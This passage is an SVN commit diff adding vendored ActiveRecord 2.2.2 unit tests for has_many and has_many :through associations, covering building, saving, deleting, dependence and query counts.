+    new_firm.clients_of_firm << c
+    assert_equal 2, new_firm.clients_of_firm.size
+
+    assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
+    assert_equal no_of_clients, Client.count  # Clients were not saved to database.
+    assert new_firm.save
+    assert !new_firm.new_record?
+    assert !c.new_record?
+    assert_equal new_firm, c.firm
+    assert_equal no_of_firms+1, Firm.count      # Firm was saved to database.
+    assert_equal no_of_clients+2, Client.count  # Clients were saved to database.
+
+    assert_equal 2, new_firm.clients_of_firm.size
+    assert_equal 2, new_firm.clients_of_firm(true).size
+  end
+
+  def test_invalid_adding
+    firm = Firm.find(1)
+    assert !(firm.clients_of_firm << c = Client.new)
+    assert c.new_record?
+    assert !firm.valid?
+    assert !firm.save
+    assert c.new_record?
+  end
+
+  def test_invalid_adding_before_save
+    no_of_firms = Firm.count
+    no_of_clients = Client.count
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
+    assert c.new_record?
+    assert !c.valid?
+    assert !new_firm.valid?
+    assert !new_firm.save
+    assert c.new_record?
+    assert new_firm.new_record?
+  end
+
+  def test_invalid_adding_with_validate_false
+    firm = Firm.find(:first)
+    client = Client.new
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.valid?
+    assert !client.valid?
+    assert firm.save
+    assert client.new_record?
+  end
+
+  def test_valid_adding_with_validate_false
+    no_of_clients = Client.count
+
+    firm = Firm.find(:first)
+    client = Client.new("name" => "Apple")
+
+    assert firm.valid?
+    assert client.valid?
+    assert client.new_record?
+
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.save
+    assert !client.new_record?
+    assert_equal no_of_clients+1, Client.count
+  end
+
+  def test_build
+    company = companies(:first_firm)
+    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+    assert !company.clients_of_firm.loaded?
+
+    assert_equal "Another Client", new_client.name
+    assert new_client.new_record?
+    assert_equal new_client, company.clients_of_firm.last
+    company.name += '-changed'
+    assert_queries(2) { assert company.save }
+    assert !new_client.new_record?
+    assert_equal 2, company.clients_of_firm(true).size
+  end
+
+  def test_collection_size_after_building
+    company = companies(:first_firm)  # company already has one client
+    company.clients_of_firm.build("name" => "Another Client")
+    company.clients_of_firm.build("name" => "Yet Another Client")
+    assert_equal 3, company.clients_of_firm.size
+  end
+
+  def test_collection_size_twice_for_regressions
+    post = posts(:thinking)
+    assert_equal 0, post.readers.size
+    # This test needs a post that has no readers, we assert it to ensure it holds,
+    # but need to reload the post because the very call to #size hides the bug.
+    post.reload
+    post.readers.build
+    size1 = post.readers.size
+    size2 = post.readers.size
+    assert_equal size1, size2
+  end
+
+  def test_build_many
+    company = companies(:first_firm)
+    new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+
+    assert_equal 2, new_clients.size
+    company.name += '-changed'
+    assert_queries(3) { assert company.save }
+    assert_equal 3, company.clients_of_firm(true).size
+  end
+
+  def test_build_followed_by_save_does_not_load_target
+    new_client = companies(:first_firm).clients_of_firm.build("name" => "Another Client")
+    assert companies(:first_firm).save
+    assert !companies(:first_firm).clients_of_firm.loaded?
+  end
+
+  def test_build_without_loading_association
+    first_topic = topics(:first)
+    Reply.column_names
+
+    assert_equal 1, first_topic.replies.length
+
+    assert_no_queries do
+      first_topic.replies.build(:title => "Not saved", :content => "Superstars")
+      assert_equal 2, first_topic.replies.size
+    end
+
+    assert_equal 2, first_topic.replies.to_ary.size
+  end
+
+  def test_build_via_block
+    company = companies(:first_firm)
+    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+    assert !company.clients_of_firm.loaded?
+
+    assert_equal "Another Client", new_client.name
+    assert new_client.new_record?
+    assert_equal new_client, company.clients_of_firm.last
+    company.name += '-changed'
+    assert_queries(2) { assert company.save }
+    assert !new_client.new_record?
+    assert_equal 2, company.clients_of_firm(true).size
+  end
+
+  def test_build_many_via_block
+    company = companies(:first_firm)
+    new_clients = assert_no_queries do
+      company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
+        client.name = "changed"
+      end
+    end
+
+    assert_equal 2, new_clients.size
+    assert_equal "changed", new_clients.first.name
+    assert_equal "changed", new_clients.last.name
+
+    company.name += '-changed'
+    assert_queries(3) { assert company.save }
+    assert_equal 3, company.clients_of_firm(true).size
+  end
+
+  def test_create_without_loading_association
+    first_firm  = companies(:first_firm)
+    Firm.column_names
+    Client.column_names
+
+    assert_equal 1, first_firm.clients_of_firm.size
+    first_firm.clients_of_firm.reset
+
+    assert_queries(1) do
+      first_firm.clients_of_firm.create(:name => "Superstars")
+    end
+
+    assert_equal 2, first_firm.clients_of_firm.size
+  end
+
+  def test_invalid_build
+    new_client = companies(:first_firm).clients_of_firm.build
+    assert new_client.new_record?
+    assert !new_client.valid?
+    assert_equal new_client, companies(:first_firm).clients_of_firm.last
+    assert !companies(:first_firm).save
+    assert new_client.new_record?
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_create
+    force_signal37_to_load_all_clients_of_firm
+    new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert !new_client.new_record?
+    assert_equal new_client, companies(:first_firm).clients_of_firm.last
+    assert_equal new_client, companies(:first_firm).clients_of_firm(true).last
+  end
+
+  def test_create_many
+    companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
+    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_create_followed_by_save_does_not_load_target
+    new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert companies(:first_firm).save
+    assert !companies(:first_firm).clients_of_firm.loaded?
+  end
+
+  def test_find_or_initialize
+    the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
+    assert_equal companies(:first_firm).id, the_client.firm_id
+    assert_equal "Yet another client", the_client.name
+    assert the_client.new_record?
+  end
+
+  def test_find_or_create
+    number_of_clients = companies(:first_firm).clients.size
+    the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+    assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+  end
+
+  def test_deleting
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_deleting_before_save
+    new_firm = Firm.new("name" => "A New Firm, Inc.")
+    new_client = new_firm.clients_of_firm.build("name" => "Another Client")
+    assert_equal 1, new_firm.clients_of_firm.size
+    new_firm.clients_of_firm.delete(new_client)
+    assert_equal 0, new_firm.clients_of_firm.size
+  end
+
+  def test_deleting_a_collection
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_delete_all
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.delete_all
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_delete_all_with_not_yet_loaded_association_collection
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.reset
+    companies(:first_firm).clients_of_firm.delete_all
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_clearing_an_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.clients_of_firm.first.id
+    assert_equal 1, firm.clients_of_firm.size
+
+    firm.clients_of_firm.clear
+
+    assert_equal 0, firm.clients_of_firm.size
+    assert_equal 0, firm.clients_of_firm(true).size
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # Should not be destroyed since the association is not dependent.
+    assert_nothing_raised do
+      assert Client.find(client_id).firm.nil?
+    end
+  end
+
+  def test_clearing_a_dependent_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.dependent_clients_of_firm.first.id
+    assert_equal 1, firm.dependent_clients_of_firm.size
+
+    # :dependent means destroy is called on each client
+    firm.dependent_clients_of_firm.clear
+
+    assert_equal 0, firm.dependent_clients_of_firm.size
+    assert_equal 0, firm.dependent_clients_of_firm(true).size
+    assert_equal [client_id], Client.destroyed_client_ids[firm.id]
+
+    # Should be destroyed since the association is dependent.
+    assert Client.find_by_id(client_id).nil?
+  end
+
+  def test_clearing_an_exclusively_dependent_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.exclusively_dependent_clients_of_firm.first.id
+    assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # :exclusively_dependent means each client is deleted directly from
+    # the database without looping through them calling destroy.
+    firm.exclusively_dependent_clients_of_firm.clear
+
+    assert_equal 0, firm.exclusively_dependent_clients_of_firm.size
+    assert_equal 0, firm.exclusively_dependent_clients_of_firm(true).size
+    # no destroy-filters should have been called
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # Should be destroyed since the association is exclusively dependent.
+    assert Client.find_by_id(client_id).nil?
+  end
+
+  def test_dependent_association_respects_optional_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, firm.dependent_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+  end
+
+  def test_dependent_association_respects_optional_sanitized_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+  end
+
+  def test_creation_respects_hash_condition
+    ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
+
+    assert        ms_client.save
+    assert_equal  'Microsoft', ms_client.name
+
+    another_ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.create
+
+    assert        !another_ms_client.new_record?
+    assert_equal  'Microsoft', another_ms_client.name
+  end
+
+  def test_dependent_delete_and_destroy_with_belongs_to
+    author_address = author_addresses(:david_address)
+    assert_equal [], AuthorAddress.destroyed_author_address_ids[authors(:david).id]
+
+    assert_difference "AuthorAddress.count", -2 do
+      authors(:david).destroy
+    end
+
+    assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids[authors(:david).id]
+  end
+
+  def test_invalid_belongs_to_dependent_option_raises_exception
+    assert_raises ArgumentError do
+      Author.belongs_to :special_author_address, :dependent => :nullify
+    end
+  end
+
+  def test_clearing_without_initial_access
+    firm = companies(:first_firm)
+
+    firm.clients_of_firm.clear
+
+    assert_equal 0, firm.clients_of_firm.size
+    assert_equal 0, firm.clients_of_firm(true).size
+  end
+
+  def test_deleting_a_item_which_is_not_in_the_collection
+    force_signal37_to_load_all_clients_of_firm
+    summit = Client.find_by_name('Summit')
+    companies(:first_firm).clients_of_firm.delete(summit)
+    assert_equal 1, companies(:first_firm).clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 2, summit.client_of
+  end
+
+  def test_deleting_type_mismatch
+    david = Developer.find(1)
+    david.projects.reload
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
+  end
+
+  def test_deleting_self_type_mismatch
+    david = Developer.find(1)
+    david.projects.reload
+    assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+  end
+
+  def test_destroy_all
+    force_signal37_to_load_all_clients_of_firm
+    assert !companies(:first_firm).clients_of_firm.empty?, "37signals has clients after load"
+    companies(:first_firm).clients_of_firm.destroy_all
+    assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
+    assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh"
+  end
+
+  def test_dependence
+    firm = companies(:first_firm)
+    assert_equal 2, firm.clients.size
+    firm.destroy
+    assert Client.find(:all, :conditions => "firm_id=#{firm.id}").empty?
+  end
+
+  def test_destroy_dependent_when_deleted_from_association
+    firm = Firm.find(:first)
+    assert_equal 2, firm.clients.size
+
+    client = firm.clients.first
+    firm.clients.delete(client)
+
+    assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
+    assert_equal 1, firm.clients.size
+  end
+
+  def test_three_levels_of_dependence
+    topic = Topic.create "title" => "neat and simple"
+    reply = topic.replies.create "title" => "neat and simple", "content" => "still digging it"
+    silly_reply = reply.replies.create "title" => "neat and simple", "content" => "ain't complaining"
+
+    assert_nothing_raised { topic.destroy }
+  end
+
+  uses_transaction :test_dependence_with_transaction_support_on_failure
+  def test_dependence_with_transaction_support_on_failure
+    firm = companies(:first_firm)
+    clients = firm.clients
+    assert_equal 2, clients.length
+    clients.last.instance_eval { def before_destroy() raise "Trigger rollback" end }
+
+    firm.destroy rescue "do nothing"
+
+    assert_equal 2, Client.find(:all, :conditions => "firm_id=#{firm.id}").size
+  end
+
+  def test_dependence_on_account
+    num_accounts = Account.count
+    companies(:first_firm).destroy
+    assert_equal num_accounts - 1, Account.count
+  end
+
+  def test_depends_and_nullify
+    num_accounts = Account.count
+    num_companies = Company.count
+
+    core = companies(:rails_core)
+    assert_equal accounts(:rails_core_account), core.account
+    assert_equal companies(:leetsoft, :jadedpixel), core.companies
+    core.destroy
+    assert_nil accounts(:rails_core_account).reload.firm_id
+    assert_nil companies(:leetsoft).reload.client_of
+    assert_nil companies(:jadedpixel).reload.client_of
+
+
+    assert_equal num_accounts, Account.count
+  end
+
+  def test_included_in_collection
+    assert companies(:first_firm).clients.include?(Client.find(2))
+  end
+
+  def test_adding_array_and_collection
+    assert_nothing_raised { Firm.find(:first).clients + Firm.find(:all).last.clients }
+  end
+
+  def test_find_all_without_conditions
+    firm = companies(:first_firm)
+    assert_equal 2, firm.clients.find(:all).length
+  end
+
+  def test_replace_with_less
+    firm = Firm.find(:first)
+    firm.clients = [companies(:first_client)]
+    assert firm.save, "Could not save firm"
+    firm.reload
+    assert_equal 1, firm.clients.length
+  end
+
+  def test_replace_with_less_and_dependent_nullify
+    num_companies = Company.count
+    companies(:rails_core).companies = []
+    assert_equal num_companies, Company.count
+  end
+
+  def test_replace_with_new
+    firm = Firm.find(:first)
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert !firm.clients.include?(:first_client)
+  end
+
+  def test_replace_on_new_object
+    firm = Firm.new("name" => "New Firm")
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    assert firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert firm.clients.include?(Client.find_by_name("New Client"))
+  end
+
+  def test_get_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+  end
+
+  def test_get_ids_for_loaded_associations
+    company = companies(:first_firm)
+    company.clients(true)
+    assert_queries(0) do
+      company.client_ids
+      company.client_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    company = companies(:first_firm)
+    assert !company.clients.loaded?
+    assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+    assert !company.clients.loaded?
+  end
+
+  def test_get_ids_for_unloaded_finder_sql_associations_loads_them
+    company = companies(:first_firm)
+    assert !company.clients_using_sql.loaded?
+    assert_equal [companies(:second_client).id], company.clients_using_sql_ids
+    assert company.clients_using_sql.loaded?
+  end
+
+  def test_assign_ids
+    firm = Firm.new("name" => "Apple")
+    firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert firm.clients.include?(companies(:second_client))
+  end
+
+  def test_assign_ids_ignoring_blanks
+    firm = Firm.create!(:name => 'Apple')
+    firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
+    firm.save!
+
+    assert_equal 2, firm.clients(true).size
+    assert firm.clients.include?(companies(:second_client))
+  end
+
+  def test_get_ids_for_through
+    assert_equal [comments(:eager_other_comment1).id], authors(:mary).comment_ids
+  end
+
+  def test_modifying_a_through_a_has_many_should_raise
+    [
+      lambda { authors(:mary).comment_ids = [comments(:greetings).id, comments(:more_greetings).id] },
+      lambda { authors(:mary).comments = [comments(:greetings), comments(:more_greetings)] },
+      lambda { authors(:mary).comments << Comment.create!(:body => "Yay", :post_id => 424242) },
+      lambda { authors(:mary).comments.delete(authors(:mary).comments.first) },
+    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection, &block) }
+  end
+
+
+  def test_assign_ids_for_through_a_belongs_to
+    post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
+    post.person_ids = [people(:david).id, people(:michael).id]
+    post.save
+    post.reload
+    assert_equal 2, post.people.length
+    assert post.people.include?(people(:david))
+  end
+
+  def test_dynamic_find_should_respect_association_order_for_through
+    assert_equal Comment.find(10), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'")
+    assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment')
+  end
+
+  def test_dynamic_find_order_should_override_association_order_for_through
+    assert_equal Comment.find(3), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'", :order => 'comments.id')
+    assert_equal Comment.find(3), authors(:david).comments_desc.find_by_type('SpecialComment', :order => 'comments.id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_order_for_through
+    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find(:all, :conditions => "comments.type = 'SpecialComment'")
+    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
+  end
+
+  def test_dynamic_find_all_order_should_override_association_order_for_through
+    assert_equal [Comment.find(3), Comment.find(6), Comment.find(7), Comment.find(10)], authors(:david).comments_desc.find(:all, :conditions => "comments.type = 'SpecialComment'", :order => 'comments.id')
+    assert_equal [Comment.find(3), Comment.find(6), Comment.find(7), Comment.find(10)], authors(:david).comments_desc.find_all_by_type('SpecialComment', :order => 'comments.id')
+  end
+
+  def test_dynamic_find_all_should_respect_association_limit_for_through
+    assert_equal 1, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'").length
+    assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
+  end
+
+  def test_dynamic_find_all_order_should_override_association_limit_for_through
+    assert_equal 4, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'", :limit => 9_000).length
+    assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
+  end
+
+  def test_find_all_include_over_the_same_table_for_through
+    assert_equal 2, people(:michael).posts.find(:all, :include => :people).length
+  end
+
+  def test_has_many_through_respects_hash_conditions
+    assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
+    assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
+  end
+
+  def test_include_uses_array_include_after_loaded
+    firm = companies(:first_firm)
+    firm.clients.class # force load target
+
+    client = firm.clients.first
+
+    assert_no_queries do
+      assert firm.clients.loaded?
+      assert firm.clients.include?(client)
+    end
+  end
+
+  def test_include_checks_if_record_exists_if_target_not_loaded
+    firm = companies(:first_firm)
+    client = firm.clients.first
+
+    firm.reload
+    assert ! firm.clients.loaded?
+    assert_queries(1) do
+      assert firm.clients.include?(client)
+    end
+    assert ! firm.clients.loaded?
+  end
+
+  def test_include_loads_collection_if_target_uses_finder_sql
+    firm = companies(:first_firm)
+    client = firm.clients_using_sql.first
+
+    firm.reload
+    assert ! firm.clients_using_sql.loaded?
+    assert firm.clients_using_sql.include?(client)
+    assert firm.clients_using_sql.loaded?
+  end
+
+
+  def test_include_returns_false_for_non_matching_record_to_verify_scoping
+    firm = companies(:first_firm)
+    client = Client.create!(:name => 'Not Associated')
+
+    assert ! firm.clients.loaded?
+    assert ! firm.clients.include?(client)
+  end
+
+  def test_calling_first_or_last_on_association_should_not_load_association
+    firm = companies(:first_firm)
+    firm.clients.first
+    firm.clients.last
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
+    firm = companies(:first_firm)
+    firm.clients.class # force load target
+    assert firm.clients.loaded?
+
+    assert_no_queries do
+      firm.clients.first
+      assert_equal 2, firm.clients.first(2).size
+      firm.clients.last
+      assert_equal 2, firm.clients.last(2).size
+    end
+  end
+
+  def test_calling_first_or_last_on_existing_record_with_build_should_load_association
+    firm = companies(:first_firm)
+    firm.clients.build(:name => 'Foo')
+    assert !firm.clients.loaded?
+
+    assert_queries 1 do
+      firm.clients.first
+      firm.clients.last
+    end
+
+    assert firm.clients.loaded?
+  end
+
+  def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+    firm = companies(:first_firm)
+    firm.clients.create(:name => 'Foo')
+    assert !firm.clients.loaded?
+
+    assert_queries 2 do
+      firm.clients.first
+      firm.clients.last
+    end
+
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_first_or_last_on_new_record_should_not_run_queries
+    firm = Firm.new
+
+    assert_no_queries do
+      firm.clients.first
+      firm.clients.last
+    end
+  end
+
+  def test_calling_first_or_last_with_find_options_on_loaded_association_should_fetch_with_query
+    firm = companies(:first_firm)
+    firm.clients.class # force load target
+
+    assert_queries 2 do
+      assert firm.clients.loaded?
+      firm.clients.first(:order => 'name')
+      firm.clients.last(:order => 'name')
+    end
+  end
+
+  def test_calling_first_or_last_with_integer_on_association_should_load_association
+    firm = companies(:first_firm)
+
+    assert_queries 1 do
+      firm.clients.first(2)
+      firm.clients.last(2)
+    end
+
+    assert firm.clients.loaded?
+  end
+
+  def test_joins_with_namespaced_model_should_use_correct_type
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+
+    firm = Namespaced::Firm.create({ :name => 'Some Company' })
+    firm.clients.create({ :name => 'Some Client' })
+
+    stats = Namespaced::Firm.find(firm.id, {
+      :select => "#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients",
+      :joins  => :clients,
+      :group  => "#{Namespaced::Firm.table_name}.id"
+    })
+    assert_equal 1, stats.num_clients.to_i
+
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  uses_mocha 'mocking Comment.transaction' do
+    def test_association_proxy_transaction_method_starts_transaction_in_association_class
+      Comment.expects(:transaction)
+      Post.find(:first).comments.transaction do
+        # nothing
+      end
+    end
+  end
+
+  def test_sending_new_to_association_proxy_should_have_same_effect_as_calling_new
+    client_association = companies(:first_firm).clients
+    assert_equal client_association.new.attributes, client_association.send(:new).attributes
+  end
+
+  def test_respond_to_private_class_methods
+    client_association = companies(:first_firm).clients
+    assert !client_association.respond_to?(:private_method)
+    assert client_association.respond_to?(:private_method, true)
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_through_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_through_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_many_through_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,247 @@
+require "cases/helper"
+require 'models/post'
+require 'models/person'
+require 'models/reader'
+require 'models/comment'
+
+class HasManyThroughAssociationsTest < ActiveRecord::TestCase
+  fixtures :posts, :readers, :people, :comments, :authors
+
+  def test_associate_existing
+    assert_queries(2) { posts(:thinking);people(:david) }
+
+    posts(:thinking).people
+
+    assert_queries(1) do
+      posts(:thinking).people << people(:david)
+    end
+    
+    assert_queries(1) do
+      assert posts(:thinking).people.include?(people(:david))
+    end
+    
+    assert posts(:thinking).reload.people(true).include?(people(:david))
+  end
+
+  def test_associating_new
+    assert_queries(1) { posts(:thinking) }
+    new_person = nil # so block binding catches it
+    
+    assert_queries(0) do
+      new_person = Person.new :first_name => 'bob'
+    end
+    
+    # Associating new records always saves them
+    # Thus, 1 query for the new person record, 1 query for the new join table record
+    assert_queries(2) do
+      posts(:thinking).people << new_person
+    end
+    
+    assert_queries(1) do
+      assert posts(:thinking).people.include?(new_person)
+    end
+    
+    assert posts(:thinking).reload.people(true).include?(new_person)
+  end
+
+  def test_associate_new_by_building
+    assert_queries(1) { posts(:thinking) }
+    
+    assert_queries(0) do
+      posts(:thinking).people.build(:first_name=>"Bob")
+      posts(:thinking).people.new(:first_name=>"Ted")
+    end
+    
+    # Should only need to load the association once
+    assert_queries(1) do
+      assert posts(:thinking).people.collect(&:first_name).include?("Bob")
+      assert posts(:thinking).people.collect(&:first_name).include?("Ted")
+    end
+    
+    # 2 queries for each new record (1 to save the record itself, 1 for the join model)
+    #    * 2 new records = 4
+    # + 1 query to save the actual post = 5
+    assert_queries(5) do
+      posts(:thinking).body += '-changed'
+      posts(:thinking).save
+    end
+    
+    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Bob")
+    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Ted")
+  end
+
+  def test_delete_association
+    assert_queries(2){posts(:welcome);people(:michael); }
+    
+    assert_queries(1) do
+      posts(:welcome).people.delete(people(:michael))
+    end
+    
+    assert_queries(1) do
+      assert posts(:welcome).people.empty?
+    end
+    
+    assert posts(:welcome).reload.people(true).empty?
+  end
+
+  def test_replace_association
+    assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
+    
+    # 1 query to delete the existing reader (michael)
+    # 1 query to associate the new reader (david)
+    assert_queries(2) do
+      posts(:welcome).people = [people(:david)]
+    end
+    
+    assert_queries(0){
+      assert posts(:welcome).people.include?(people(:david))
+      assert !posts(:welcome).people.include?(people(:michael))
+    }
+    
+    assert posts(:welcome).reload.people(true).include?(people(:david))
+    assert !posts(:welcome).reload.people(true).include?(people(:michael))
+  end
+
+  def test_associate_with_create
+    assert_queries(1) { posts(:thinking) }
+    
+    # 1 query for the new record, 1 for the join table record
+    # No need to update the actual collection yet!
+    assert_queries(2) do
+      posts(:thinking).people.create(:first_name=>"Jeb")
+    end
+    
+    # *Now* we actually need the collection so it's loaded
+    assert_queries(1) do
+      assert posts(:thinking).people.collect(&:first_name).include?("Jeb")
+    end
+    
+    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Jeb")
+  end
+
+  def test_associate_with_create_and_no_options
+    peeps = posts(:thinking).people.count
+    posts(:thinking).people.create(:first_name => 'foo')
+    assert_equal peeps + 1, posts(:thinking).people.count
+  end
+
+  def test_associate_with_create_exclamation_and_no_options
+    peeps = posts(:thinking).people.count
+    posts(:thinking).people.create!(:first_name => 'foo')
+    assert_equal peeps + 1, posts(:thinking).people.count
+  end
+
+  def test_clear_associations
+    assert_queries(2) { posts(:welcome);posts(:welcome).people(true) }
+    
+    assert_queries(1) do
+      posts(:welcome).people.clear
+    end
+    
+    assert_queries(0) do
+      assert posts(:welcome).people.empty?
+    end
+    
+    assert posts(:welcome).reload.people(true).empty?
+  end
+
+  def test_association_callback_ordering
+    Post.reset_log
+    log = Post.log
+    post = posts(:thinking)
+
+    post.people_with_callbacks << people(:michael)
+    assert_equal [
+      [:added, :before, "Michael"],
+      [:added, :after, "Michael"]
+    ], log.last(2)
+
+    post.people_with_callbacks.push(people(:david), Person.create!(:first_name => "Bob"), Person.new(:first_name => "Lary"))
+    assert_equal [
+      [:added, :before, "David"],
+      [:added, :after, "David"],
+      [:added, :before, "Bob"],
+      [:added, :after, "Bob"],
+      [:added, :before, "Lary"],
+      [:added, :after, "Lary"]
+    ],log.last(6)
+
+    post.people_with_callbacks.build(:first_name => "Ted")
+    assert_equal [
+      [:added, :before, "Ted"],
+      [:added, :after, "Ted"]
+    ], log.last(2)
+
+    post.people_with_callbacks.create(:first_name => "Sam")
+    assert_equal [
+      [:added, :before, "Sam"],
+      [:added, :after, "Sam"]
+    ], log.last(2)
+
+    post.people_with_callbacks = [people(:michael),people(:david), Person.new(:first_name => "Julian"), Person.create!(:first_name => "Roger")]
+    assert_equal (%w(Ted Bob Sam Lary) * 2).sort, log[-12..-5].collect(&:last).sort
+    assert_equal [
+      [:added, :before, "Julian"],
+      [:added, :after, "Julian"],
+      [:added, :before, "Roger"],
+      [:added, :after, "Roger"]
+    ], log.last(4)
+
